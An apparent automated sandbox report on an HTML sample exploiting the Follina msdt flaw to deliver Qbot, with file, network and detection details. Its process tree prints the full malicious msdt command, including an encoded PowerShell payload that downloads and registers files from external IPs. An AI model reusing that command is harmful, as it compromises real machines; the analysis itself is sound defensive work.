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Created / dropped Files
C:\Program Files\Google\Chrome\Application\Dictionaries\en-US-9-0.bdic
C:\Users\user\AppData\Local\Google\Chrome\User Data\05ecd3b2-b9b6-4615-8da0-61857a45cdbb.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\1407162b-46f0-4f86-8672-b5bb5d6ef13e.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\148d2889-8d30-44d4-8b25-4acd45abbdd3.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\22104b31-e7f3-42fe-ad8e-a4890f404a1e.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\2bb3990c-e433-4e80-a92c-453c97f30a33.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\436c5d5e-dce5-4ed3-9529-765857d0ba82.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\546a1457-cc3f-4ec7-a92d-dc6c5a1d149a.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\5f2afbfc-f571-4e9f-9e57-9d743522af41.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\6f7f3e68-bf64-43fd-98fc-50372da0d07f.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\26ef0a44-1c96-421c-9319-03902ef14b1f.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\48c73de8-0090-4d04-9af6-227975bb8e5b.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\583af293-61ac-4894-a1f4-ebafda79de76.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\58592cb6-dd63-4405-a017-84c936c34d16.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\654a6c14-ca9a-428c-b8ac-1b1d127e1439.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\6915fb29-f050-4a9c-a545-a34bad3e8ebf.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\9bd124a4-8996-43ba-9d32-27257daa4c0d.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\9f7bdcb5-c04d-4e05-b56c-8c6bb7a0b482.tmp
C:\Users\user\AppData\Local\Google\Chrome\User
Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_metadata\computed_hashes.json
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\000003.log
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG.old (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Provider Cache
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Persistent State (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\3fe43805-7be2-44a9-8b75-
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0ea976c2d5c7.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\GPUCache\data_1
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Network Persistent State
(copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_1
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network Persistent State
(copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\b69ee39c-f2d4-4669-8779-
99c284e2e4a3.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\be66d44b-572f-4980-92cc-64f177048431.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\d9d70ad7-afcf-498e-a8c0-ce4f65f77a0f.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\000004.dbtmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\CURRENT (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\e8e9a481-0594-4ae5-9c57-fa513cb79866.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Browser
C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Version
C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Module Info Cache (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Subresource Filter\Indexed Rules\27\scoped_dir3960_16912406\Ruleset Data
C:\Users\user\AppData\Local\Google\Chrome\User Data\a6b47647-168f-44c8-9525-dae0f0c64acc.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\f3bb5787-3941-40d9-83e9-853eafddaa2d.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\f9366ee1-81dc-42f1-b1be-e6eb13b4d535.tmp
C:\Users\user\AppData\Local\Temp\3960_1210988044\Filtering Rules
C:\Users\user\AppData\Local\Temp\3960_1210988044\LICENSE.txt
C:\Users\user\AppData\Local\Temp\3960_1210988044\_metadata\verified_contents.json
C:\Users\user\AppData\Local\Temp\3960_1210988044\manifest.fingerprint
C:\Users\user\AppData\Local\Temp\3960_1210988044\manifest.json
C:\Users\user\AppData\Local\Temp\3960_1497513409\LICENSE
C:\Users\user\AppData\Local\Temp\3960_1497513409\_metadata\verified_contents.json
C:\Users\user\AppData\Local\Temp\3960_1497513409\crl-set
C:\Users\user\AppData\Local\Temp\3960_1497513409\manifest.fingerprint
C:\Users\user\AppData\Local\Temp\3960_1497513409\manifest.json
C:\Users\user\AppData\Local\Temp\3960_162832123\Recovery.crx3
C:\Users\user\AppData\Local\Temp\3960_162832123\_metadata\verified_contents.json
C:\Users\user\AppData\Local\Temp\3960_162832123\manifest.fingerprint
C:\Users\user\AppData\Local\Temp\3960_162832123\manifest.json
C:\Users\user\AppData\Local\Temp\3960_2122077170\_metadata\verified_contents.json
C:\Users\user\AppData\Local\Temp\3960_2122077170\manifest.fingerprint
C:\Users\user\AppData\Local\Temp\3960_2122077170\manifest.json
C:\Users\user\AppData\Local\Temp\3960_526055686\_metadata\verified_contents.json
C:\Users\user\AppData\Local\Temp\3960_526055686\_platform_specific\x86_64\pnacl_public_pnacl_json
C:\Users\user\AppData\Local\Temp\3960_526055686\_platform_specific\x86_64\pnacl_public_x86_64_crtbegin_for_eh_o
C:\Users\user\AppData\Local\Temp\3960_526055686\_platform_specific\x86_64\pnacl_public_x86_64_crtbegin_o
C:\Users\user\AppData\Local\Temp\3960_526055686\_platform_specific\x86_64\pnacl_public_x86_64_crtend_o
C:\Users\user\AppData\Local\Temp\3960_526055686\_platform_specific\x86_64\pnacl_public_x86_64_ld_nexe
C:\Users\user\AppData\Local\Temp\3960_526055686\_platform_specific\x86_64\pnacl_public_x86_64_libcrt_platform_a
C:\Users\user\AppData\Local\Temp\3960_526055686\_platform_specific\x86_64\pnacl_public_x86_64_libgcc_a
C:\Users\user\AppData\Local\Temp\3960_526055686\_platform_specific\x86_64\pnacl_public_x86_64_libpnacl_irt_shim_a
C:\Users\user\AppData\Local\Temp\3960_526055686\_platform_specific\x86_64\pnacl_public_x86_64_libpnacl_irt_shim_dummy_a
C:\Users\user\AppData\Local\Temp\3960_526055686\_platform_specific\x86_64\pnacl_public_x86_64_pnacl_llc_nexe
C:\Users\user\AppData\Local\Temp\3960_526055686\_platform_specific\x86_64\pnacl_public_x86_64_pnacl_sz_nexe
C:\Users\user\AppData\Local\Temp\3960_526055686\manifest.fingerprint
C:\Users\user\AppData\Local\Temp\3960_526055686\manifest.json
C:\Users\user\AppData\Local\Temp\3960_758096027\_metadata\verified_contents.json
C:\Users\user\AppData\Local\Temp\3960_758096027\download_file_types.pb
C:\Users\user\AppData\Local\Temp\3960_758096027\manifest.fingerprint
C:\Users\user\AppData\Local\Temp\3960_758096027\manifest.json
C:\Users\user\AppData\Local\Temp\b1f2020b-38cd-4a36-87c0-426567f6cda0.tmp
C:\Users\user\AppData\Local\Temp\db6345c4-2474-41f9-a909-0f9135d23777.tmp
C:\Users\user\AppData\Local\Temp\scoped_dir3960_444231350\CRX_INSTALL\_locales\bg\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir3960_444231350\CRX_INSTALL\_locales\ca\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir3960_444231350\CRX_INSTALL\_locales\cs\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir3960_444231350\CRX_INSTALL\_locales\da\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir3960_444231350\CRX_INSTALL\_locales\de\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir3960_444231350\CRX_INSTALL\_locales\el\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir3960_444231350\CRX_INSTALL\_locales\en\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir3960_444231350\CRX_INSTALL\_locales\en_GB\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir3960_444231350\CRX_INSTALL\_locales\es\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir3960_444231350\CRX_INSTALL\_locales\es_419\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir3960_444231350\CRX_INSTALL\_locales\et\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir3960_444231350\CRX_INSTALL\_locales\fi\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir3960_444231350\CRX_INSTALL\_locales\fil\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir3960_444231350\CRX_INSTALL\_locales\fr\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir3960_444231350\CRX_INSTALL\_locales\hi\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir3960_444231350\CRX_INSTALL\_locales\hr\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir3960_444231350\CRX_INSTALL\_locales\hu\messages.json

Static File Info
General

Network Behavior
Network Port Distribution
TCP Packets
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209
209
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210
210
210

210
210
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211

UDP Packets
DNS Queries
DNS Answers
HTTP Request Dependency Graph
HTTPS Proxied Packets

Statistics
Behavior

System Behavior
Analysis Process: chrome.exePID: 3960, Parent PID: 5368

General
File Activities
Registry Activities

Key Value Modified

Analysis Process: chrome.exePID: 6188, Parent PID: 3960
General
File Activities

Analysis Process: msdt.exePID: 408, Parent PID: 3960
General
File Activities

File Created

Disassembly
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Windows Analysis Report 
Qbotfollina.html

Overview

General Information

Sample 
Name:

Qbotfollina.html

Analysis ID: 641285

MD5: a32050027aea96…

SHA1: ef28c67583c8c8…

SHA256: e3ba1c45f9dd1f4…

Tags: Follina html Qbot

Infos:

Detection

Follina CVE-2022-
30190

Score: 56

Range: 0 - 100

Whitelisted: false

Confidence: 100%

Signatures

Multi AV Scanner detection for subm…

Yara detected Microsoft Office Expl…

Yara signature match

Very long cmdline option found, this…

JA3 SSL client fingerprint seen in co…

IP address seen in connection with …

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64

chrome.exe (PID: 3960 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --enable-automation "C:\Users\user\Desktop\Qbotfollina.html MD5:

C139654B5C1438A95B321BB01AD63EF6)
chrome.exe (PID: 6188 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-

handle=1504,9164953901427167469,2460945290142951251,131072 --lang=en-US --service-sandbox-type=network --enable-audio-service-sandbox --mojo-platform-channel-
handle=1908 /prefetch:8 MD5: C139654B5C1438A95B321BB01AD63EF6)

msdt.exe (PID: 408 cmdline: "C:\Windows\system32\msdt.exe" ms-msdt:/id%20PCWDiagnostic%20/skip%20force%20/param%20%22IT_RebrowseForFile=?%20IT_Launc

hMethod=ContextMenu%20IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[
char]58+[char]58+'FromBase64String('+[char]34+'JABwACAAPQAgACQARQBuAHYAOgB0AGUAbQBwADsAaQB3AHIAIABoAHQAdABwADoALwAvADEAMAA0AC4AMwA
2AC4AMgAyADkALgAxADMAOQAvACQAKAByAGEAbgBkAG8AbQApAC4AZABhAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAHAAXAB0AC4AQQA7AGkAdwByACAAaAB
0AHQAcAA6AC8ALwA4ADUALgAyADMAOQAuADUANQAuADIAMgA4AC8AJAAoAHIAYQBuAGQAbwBtACkALgBkAGEAdAAgAC0ATwB1AHQARgBpAGwAZQAgACQAcAB
cAHQAMQAuAEEAOwBpAHcAcgAgAGgAdAB0AHAAOgAvAC8AMQA4ADUALgAyADMANAAuADIANAA3AC4AMQAxADkALwAkACgAcgBhAG4AZABvAG0AKQAuAGQAYQB
0ACAALQBPAHUAdABGAGkAbABlACAAJABwAFwAdAAyAC4AQQA7AHIAZQBnAHMAdgByADMAMgAgACQAcABcAHQALgBBADsAcgBlAGcAcwB2AHIAMwAyACAAJAB
wAFwAdAAxAC4AQQA7AHIAZQBnAHMAdgByADMAMgAgACQAcABcAHQAMgAuAEEA'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe%22
MD5: 8BE43BAF1F37DA5AB31A53CA1C07EE0C)

cleanup

⊘ No configs have been found

Source Rule Description Author Strings

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Copyright Joe Security LLC 2022 Page 5 of 211



AV Detection

Qbotfollina.html MAL_Msdt_MSPro
tocolURI_May22

Detects the 
malicious usage of 
the ms-msdt URI 
as seen in CVE-
2022-30190

Tobias Michalski, 
Christian Burkard

0x1447:$re1: location.href = "ms-msdt:

Qbotfollina.html JoeSecurity_Follin
a

Yara detected 
Microsoft Office 
Exploit Follina / 
CVE-2022-30190

Joe Security

Source Rule Description Author Strings

Source Rule Description Author Strings

0000000A.00000002.700178209.00000287043D4000.00000
004.00000020.00020000.00000000.sdmp

SUSP_PS1_Msdt_
Execution_May22

Detects suspicious 
calls of msdt.exe 
as seen in CVE-
2022-30190

Nasreddine 
Bencherchali, 
Christian Burkard

0x24f0:$sa1: msdt.exe
0x25e0:$sb2: IT_BrowseForFile=

0000000A.00000002.699853549.000002870412E000.00000
004.00000020.00020000.00000000.sdmp

SUSP_PS1_Msdt_
Execution_May22

Detects suspicious 
calls of msdt.exe 
as seen in CVE-
2022-30190

Nasreddine 
Bencherchali, 
Christian Burkard

0xb21a:$sa1: msdt.exe
0xe910:$sa1: msdt.exe
0x16f50:$sa1: msdt.exe
0x17040:$sb2: IT_BrowseForFile=

0000000A.00000002.699747541.0000028704110000.00000
004.00000020.00020000.00000000.sdmp

SUSP_PS1_Msdt_
Execution_May22

Detects suspicious 
calls of msdt.exe 
as seen in CVE-
2022-30190

Nasreddine 
Bencherchali, 
Christian Burkard

0x23c0:$sa1: msdt.exe
0x23fc:$sa1: msdt.exe
0x2c2a:$sa1: msdt.exe
0x3c05:$sa1: msdt.exe
0x24ee:$sb2: IT_BrowseForFile=
0x3c7e:$sb2: IT_BrowseForFile=

Process Memory Space: msdt.exe PID: 408 SUSP_PS1_Msdt_
Execution_May22

Detects suspicious 
calls of msdt.exe 
as seen in CVE-
2022-30190

Nasreddine 
Bencherchali, 
Christian Burkard

0x76:$sa1: msdt.exe
0x13f3:$sa1: msdt.exe
0x4a2f:$sa1: msdt.exe
0x8413:$sa1: msdt.exe
0x88f6:$sa1: msdt.exe
0x8fd8:$sa1: msdt.exe
0xb2c2:$sa1: msdt.exe
0xe278:$sa1: msdt.exe
0x12353:$sa1: msdt.exe
0x15309:$sa1: msdt.exe
0x1a35c:$sa1: msdt.exe
0x1d347:$sa1: msdt.exe
0x22f28:$sa1: msdt.exe
0x22f45:$sa1: msdt.exe
0x2335b:$sa1: msdt.exe
0x23496:$sa1: msdt.exe
0x23fda:$sa1: msdt.exe
0x252f5:$sa1: msdt.exe
0x25353:$sa1: msdt.exe
0x2721c:$sa1: msdt.exe
0x904f:$sb2: IT_BrowseForFile=

⊘ No Sigma rule has matched

⊘ No Snort rule has matched

Memory Dumps

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

Multi AV Scanner detection for submitted file

Copyright Joe Security LLC 2022 Page 6 of 211



Exploits

Initial
Access

Execution Persistence
Privilege
Escalation

Defense
Evasion

Credential
Access

Discovery
Lateral
Movement

Collection Exfiltration
Command
and
Control

Network
Effects

Remote
Service
Effects

Impact

Valid
Accounts

1
Command
and
Scripting
Interpreter

Path
Interceptio
n

1
Process
Injection

3
Masqueradi
ng

OS
Credential
Dumping

1
System
Information
Discovery

Remote
Services

Data from
Local
System

Exfiltration
Over Other
Network
Medium

1
Encrypted
Channel

Eavesdrop
on Insecure
Network
Communic
ation

Remotely
Track
Device
Without
Authorizati
on

Modify
System
Partition

Default
Accounts

Scheduled
Task/Job

Boot or
Logon
Initializatio
n Scripts

Boot or
Logon
Initializatio
n Scripts

1
Process
Injection

LSASS
Memory

Application
Window
Discovery

Remote
Desktop
Protocol

Data from
Removable
Media

Exfiltration
Over
Bluetooth

3
Non-
Application
Layer
Protocol

Exploit SS7
to Redirect
Phone
Calls/SMS

Remotely
Wipe Data
Without
Authorizati
on

Device
Lockout

Domain
Accounts

At (Linux) Logon
Script
(Windows)

Logon
Script
(Windows)

Obfuscated
Files or
Information

Security
Account
Manager

Query
Registry

SMB/Wind
ows Admin
Shares

Data from
Network
Shared
Drive

Automated
Exfiltration

4
Application
Layer
Protocol

Exploit SS7
to Track
Device
Location

Obtain
Device
Cloud
Backups

Delete
Device
Data

Local
Accounts

At
(Windows)

Logon
Script
(Mac)

Logon
Script
(Mac)

Binary
Padding

NTDS System
Network
Configurati
on
Discovery

Distributed
Component
Object
Model

Input
Capture

Scheduled
Transfer

1
Ingress
Tool
Transfer

SIM Card
Swap

Carrier
Billing
Fraud

Behavior Graph

ID: 641285

Sample: Qbotfollina.html

Startdate: 08/06/2022

Architecture: WINDOWS

Score: 56

Multi AV Scanner detection
for submitted file

Yara detected Microsoft
Office Exploit Follina

CVE-2022-30190

chrome.exe

18 307

        started       

192.168.2.1

unknown

unknown

192.168.2.3, 137, 138, 443

unknown

unknown

239.255.255.250

unknown

Reserved

C:\...\pnacl_public_x86_64_pnacl_sz_nexe, ELF

dropped

C:\...\pnacl_public_x86_64_pnacl_llc_nexe, ELF

dropped

C:\Users\user\...\pnacl_public_x86_64_ld_nexe, ELF

dropped

chrome.exe

15

        started       

msdt.exe

8

        started       

clients.l.google.com

142.250.203.110, 443, 49734, 49751

GOOGLEUS

United States

accounts.google.com

172.217.168.45, 443, 49732

GOOGLEUS

United States

2 other IPs or domains

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

Yara detected Microsoft Office Exploit Follina CVE-2022-30190

Mitre Att&ck Matrix

Behavior Graph
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This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Source Detection Scanner Label Link

Qbotfollina.html 44% Virustotal Browse

Qbotfollina.html 32% ReversingLabs Document-
HTML.Trojan.Wore
flint

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample
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https://www.virustotal.com/gui/file/e3ba1c45f9dd1f432138654b5f19cf89c55e07219b88aa7628334d38bb036433/detection/f-e3ba1c45f9dd1f432138654b5f19cf89c55e07219b88aa7628334d38bb036433-1654672258


Source Detection Scanner Label Link

C:\Users\user\AppData\Local\Temp\3960_526055686\_platform_specific\x86_64\pnacl_public_x86
_64_ld_nexe

0% Metadefender Browse

C:\Users\user\AppData\Local\Temp\3960_526055686\_platform_specific\x86_64\pnacl_public_x86
_64_ld_nexe

0% ReversingLabs

C:\Users\user\AppData\Local\Temp\3960_526055686\_platform_specific\x86_64\pnacl_public_x86
_64_pnacl_llc_nexe

0% Metadefender Browse

C:\Users\user\AppData\Local\Temp\3960_526055686\_platform_specific\x86_64\pnacl_public_x86
_64_pnacl_llc_nexe

0% ReversingLabs

C:\Users\user\AppData\Local\Temp\3960_526055686\_platform_specific\x86_64\pnacl_public_x86
_64_pnacl_sz_nexe

0% Metadefender Browse

C:\Users\user\AppData\Local\Temp\3960_526055686\_platform_specific\x86_64\pnacl_public_x86
_64_pnacl_sz_nexe

0% ReversingLabs

⊘ No Antivirus matches

⊘ No Antivirus matches

Source Detection Scanner Label Link

https://dns.google 0% URL Reputation safe

Name IP Active Malicious Antivirus Detection Reputation

accounts.google.com 172.217.168.45 true false high

clients.l.google.com 142.250.203.110 true false high

clients2.google.com unknown unknown false high

Name Malicious Antivirus Detection Reputation

https://clients2.google.com/service/update2/crx?
os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-
64&prod=chromecrx&prodchannel=&prodversion=85.0.4183.121&lang=en-
US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26install
edby%3Dother%26uc%26ping%3Dr%253D-
1%2526e%253D1&x=id%3Dpkedcjkdefgpdelpbcmbmeomcjbeemfm%26v%3D0.0.0.0%26installedby
%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1

false high

https://accounts.google.com/ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard false high

Name Source Malicious Antivirus Detection Reputation

https://dns.google 48c73de8-0090-4d04-9af6-227975bb8e5b.tmp.1.dr, 
3fe43805-7be2-44a9-8b75-0ea976c2d5c7.tmp.1.dr, 
d9d70ad7-afcf-498e-a8c0-ce4f65f77a0f.tmp.1.dr, 
b69ee39c-f2d4-4669-8779-99c284e2e4a3.tmp.1.dr

false URL Reputation: safe unknown

https://github.com/google/closure-
library/wiki/goog.module:-an-ES6-module-like-
alternative-to-goog.p

craw_window.js.0.dr, craw_background.js.0.dr false high

https://www.google.com/intl/en-
US/chrome/blank.html

craw_background.js.0.dr false high

https://ogs.google.com 48c73de8-0090-4d04-9af6-227975bb8e5b.tmp.1.dr, 
d9d70ad7-afcf-498e-a8c0-ce4f65f77a0f.tmp.1.dr

false high

https://www.google.com/images/cleardot.gif craw_window.js.0.dr false high

https://play.google.com 48c73de8-0090-4d04-9af6-227975bb8e5b.tmp.1.dr, 
d9d70ad7-afcf-498e-a8c0-ce4f65f77a0f.tmp.1.dr

false high

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries
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https://www.metadefender.com/#!/results/file/bzIyMDQwM29LMEVDNWVzU1NUcjVMWl9yN2U/regular/analysis
https://www.metadefender.com/#!/results/file/bzIyMDIwN1VUZHdoT3ZHM0QwX2tlMk51MHo/regular/analysis
https://www.metadefender.com/#!/results/file/bzIyMDIwOTNRdXBKT0h5YU53TklPTDU2b3Bs/regular/analysis


https://payments.google.com/payments/v4/js/integrator
.js

craw_window.js.0.dr, manifest.json0.0.dr false high

https://chromium.googlesource.com/a/native_client/pn
acl-llvm.git

pnacl_public_x86_64_libpnacl_irt_shim_dummy_a.0.dr false high

https://easylist.to/) LICENSE.txt.0.dr false high

https://sandbox.google.com/payments/v4/js/integrator.j
s

craw_window.js.0.dr, manifest.json0.0.dr false high

https://www.google.com/images/x2.gif craw_window.js.0.dr false high

https://accounts.google.com/MergeSession craw_window.js.0.dr false high

llvm.org/): pnacl_public_x86_64_pnacl_sz_nexe.0.dr, pnacl_publ
ic_x86_64_pnacl_llc_nexe.0.dr

false high

https://creativecommons.org/compatiblelicenses LICENSE.txt.0.dr false high

https://www.google.com 48c73de8-0090-4d04-9af6-227975bb8e5b.tmp.1.dr, 
d9d70ad7-afcf-498e-a8c0-ce4f65f77a0f.tmp.1.dr

false high

https://www.google.com/images/dot2.gif craw_window.js.0.dr false high

https://github.com/easylist) LICENSE.txt.0.dr false high

https://creativecommons.org/. LICENSE.txt.0.dr false high

https://code.google.com/p/nativeclient/issues/entry%s:
pnacl_public_x86_64_ld_nexe.0.dr false high

https://code.google.com/p/nativeclient/issues/entry
pnacl_public_x86_64_ld_nexe.0.dr false high

https://accounts.google.com 48c73de8-0090-4d04-9af6-227975bb8e5b.tmp.1.dr, 
d9d70ad7-afcf-498e-a8c0-ce4f65f77a0f.tmp.1.dr

false high

https://clients2.googleusercontent.com 48c73de8-0090-4d04-9af6-227975bb8e5b.tmp.1.dr, 
d9d70ad7-afcf-498e-a8c0-ce4f65f77a0f.tmp.1.dr

false high

https://apis.google.com 48c73de8-0090-4d04-9af6-227975bb8e5b.tmp.1.dr, 
d9d70ad7-afcf-498e-a8c0-ce4f65f77a0f.tmp.1.dr

false high

https://www.google.com/accounts/OAuthLogin?
issueuberauth=1

craw_window.js.0.dr false high

https://www.google.com/ manifest.json0.0.dr false high

https://www-googleapis-
staging.sandbox.google.com

craw_window.js.0.dr, craw_background.js.0.dr false high

https://chromium.googlesource.com/a/native_client/pn
acl-clang.git

pnacl_public_x86_64_libpnacl_irt_shim_dummy_a.0.dr false high

https://clients2.google.com 48c73de8-0090-4d04-9af6-227975bb8e5b.tmp.1.dr, 
d9d70ad7-afcf-498e-a8c0-ce4f65f77a0f.tmp.1.dr

false high

https://clients2.google.com/service/update2/crx manifest.json1.0.dr, manifest.json0.0.dr, manifest
.json3.0.dr

false high

Name Source Malicious Antivirus Detection Reputation

World Map of Contacted IPs
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No. of IPs < 25%

25% < No. of IPs < 50%

50% < No. of IPs < 75%

75% < No. of IPs

IP Domain Country Flag ASN ASN Name Malicious

172.217.168.45 accounts.google.com United States 15169 GOOGLEUS false

239.255.255.250 unknown Reserved unknown unknown false

142.250.203.110 clients.l.google.com United States 15169 GOOGLEUS false

IP

192.168.2.1

192.168.2.3

127.0.0.1

Joe Sandbox Version: 35.0.0 Citrine

Analysis ID: 641285

Start date and time: 08/06/202209:52:40 2022-06-08 09:52:40 +02:00

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 7m 57s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: Qbotfollina.html

Cookbook file name: defaultwindowshtmlcookbook.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

Number of analysed new started processes 
analysed:

27

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Public IPs

Private

General Information
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Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal56.expl.winHTML@33/138@2/6

EGA Information: Failed

HDC Information: Failed

HCA Information: Successful, ratio: 100%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Found application associated with file extension: .html
Adjust boot time
Enable AMSI

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe,
svchost.exe, wuapihost.exe
TCP Packets have been reduced to 100
Created / dropped Files have been reduced to 100
Excluded IPs from analysis (wh itelisted): 172.217.168.14, 74.125.108.201, 34.104.35.123, 172.217.168.67, 142.250.203.99
Excluded domains from analysis (whitelisted): www.bing.com, r4---sn-1gi7znek.gvt1.com, fs.microsoft.com, clientservices.googleapis.com, arc.msn.com, ris.api.iris.microsoft.com, red
irector.gvt1.com, edgedl.me.gvt1.com, store-images.s-microsoft.com, login.live.com, sls.update.microsoft.com, update.googleapis.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-
microsoft-com.akamaized.net, www.gstatic.com, r4.sn-1gi7znek.gvt1.com
Not all processes where analyzed, report is missing behavior  information
Report size getting too big, t oo many NtCreateFile calls found.
Report size getting too big, t oo many NtOpenFile calls found.
Report size getting too big, t oo many NtProtectVirtualMemory calls found.
Report size getting too big, t oo many NtSetInformationFile calls found.
Report size getting too big, t oo many NtWriteVirtualMemory calls found.

⊘ No simulations

⊘ No context

⊘ No context

⊘ No context

⊘ No context

⊘ No context

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files
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Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: data

Category: dropped

Size (bytes): 451603

Entropy (8bit): 5.009711072558331

Encrypted: false

SSDEEP: 12288:ZHfRTyGZ6lup8Cfrvq4JBPKh+FBlESBw4p6:NfOCzvRKhGvwJ

MD5: A78AD14E77147E7DE3647E61964C0335

SHA1: CECC3DD41F4CEA0192B24300C71E1911BD4FCE45

SHA-256: 0D6803758FF8F87081FAFD62E90F0950DFB2DD7991E9607FE76A8F92D0E893FA

SHA-512: DDE24D5AD50D68FC91E9E325D31E66EF8F624B6BB3A07D14FFED1104D3AB5F4EF1D7969A5CDE0DFBB19CB31C506F7DE97AF67C2F244F7E7E8E10648EA8321
101

Malicious: false

Reputation: high, very likely benign file

